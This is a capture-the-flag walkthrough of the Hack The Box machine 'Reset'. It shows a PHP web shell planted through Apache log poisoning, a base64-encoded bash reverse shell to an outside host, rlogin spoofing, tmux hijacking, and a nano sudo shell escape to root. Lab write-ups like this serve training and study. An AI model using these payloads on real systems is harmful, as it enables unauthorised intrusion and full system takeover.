Platform: Hack The Box
Difficulty: Easy
IP Address: 10.129.234.130
Date Completed: [Insert Date]
Reset is an Easy-rated Linux machine that showcases a chained attack involving log poisoning and PHP code execution via the Apache access log. The foothold is gained through a password reset functionality and Remote Code Execution (RCE) using poisoned logs. Privilege escalation involves abusing r-services for rlogin and hijacking a tmux session, followed by executing nano with sudo privileges to spawn a root shell.
nmap -p- --min-rate 10000 10.129.234.130
nmap -p 22,80,512,513,514 -sCV -oN nmapscan 10.129.234.130
Open ports:
Apache hosts an admin login page with a password reset option.
admin in the password reset field{"username":"admin","new_password":"f73e1be2"}
admin:f73e1be2<?php system($_REQUEST['cmd']); ?>
/var/log/apache2/access.log?cmd=whoami
echo 'bash -c "bash -i >& /dev/tcp/10.10.14.7/443 0>&1"' | base64
# Send it with: cmd=echo+<base64>|base64+-d|bash
Got a shell as www-data.
📄 user.txt
19ba954c************************
/home/sadm/ contains a tmux sessionrlogin from a spoofed sadm user to bypass authentication7lE2PAfVHfjz4HpE
sudo -l
Allowed commands:
sudo nano /etc/firewall.shsudo tail /var/log/syslogsudo tail /var/log/auth.logUsed Nano shell escape:
sudo /usr/bin/nano /etc/firewall.sh
Ctrl + R → Ctrl + Xreset; bash 1>&0 2>&0
Gained root shell.
📄 root.txt
7ad6951b************************
nano with sudo access can easily be abused for shell escapes